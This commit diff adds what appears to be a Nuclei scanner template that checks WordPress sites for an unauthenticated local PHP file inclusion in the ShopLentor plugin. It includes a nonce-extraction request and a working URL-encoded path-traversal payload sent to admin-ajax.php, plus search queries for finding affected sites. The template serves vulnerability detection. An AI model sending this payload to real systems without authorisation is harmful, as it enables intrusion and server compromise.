Create CVE-2025-53340.yaml

2026-11-07 08:36:19 -10:00 · 2026-05-07 15:43:35 +05:30
1 changed files with 69 additions and 0 deletions
@@ -0,0 +1,69 @@
+id: CVE-2025-53340
+
+info:
+  name: ShopLentor <= 3.2.5 - Unauthenticated Local PHP File Inclusion via load_template
+  author: pussycat0x
+  severity: critical
+  description: |
+    ShopLentor WooCommerce Builder for Elementor & Gutenberg +21 Modules (formerly WooLentor) <= 3.2.5 contains a local file inclusion caused by improper handling in the 'load_template' function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.
+  impact: |
+    Unauthenticated attackers can execute arbitrary PHP code, potentially leading to full server compromise and data exposure.
+  remediation:
+    Update to the latest version beyond 3.2.5.
+  reference:
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woolentor-addons/shoplentor-325-unauthenticated-local-php-file-inclusion-via-load-template
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-53340
+    cwe-id: CWE-98
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: hasthemes
+    product: woolentor-addons
+    framework: wordpress
+    publicwww-query: "/wp-content/plugins/woolentor-addons/"
+    fofa-query: body="/wp-content/plugins/woolentor-addons/"
+  tags: cve,cve2025,wordpress,wp-plugin,woolentor,shoplentor,lfi,rce,unauth
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=woolentor_load_more_products&nonce={{nonce}}&page=1&settings=%7B%22style%22%3A%22..%2F..%2F..%2F..%2F..%2Fxmlrpc%22%2C%22layout%22%3A%22grid%22%2C%22per_page%22%3A%2212%22%2C%22columns%22%3A%224%22%2C%22widget_name%22%3A%22woolentor-product-grid-modern%22%2C%22product_type%22%3A%22recent%22%7D
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - "<methodResponse>"
+          - "faultCode"
+        condition: and
+
+      - type: word
+        part: header_2
+        words:
+          - "text/xml"
+
+      - type: status
+        part: header_2
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: nonce
+        group: 1
+        internal: true
+        part: body_1
+        regex:
+          - '"ajax_nonce"\s*:\s*"([a-f0-9]+)"'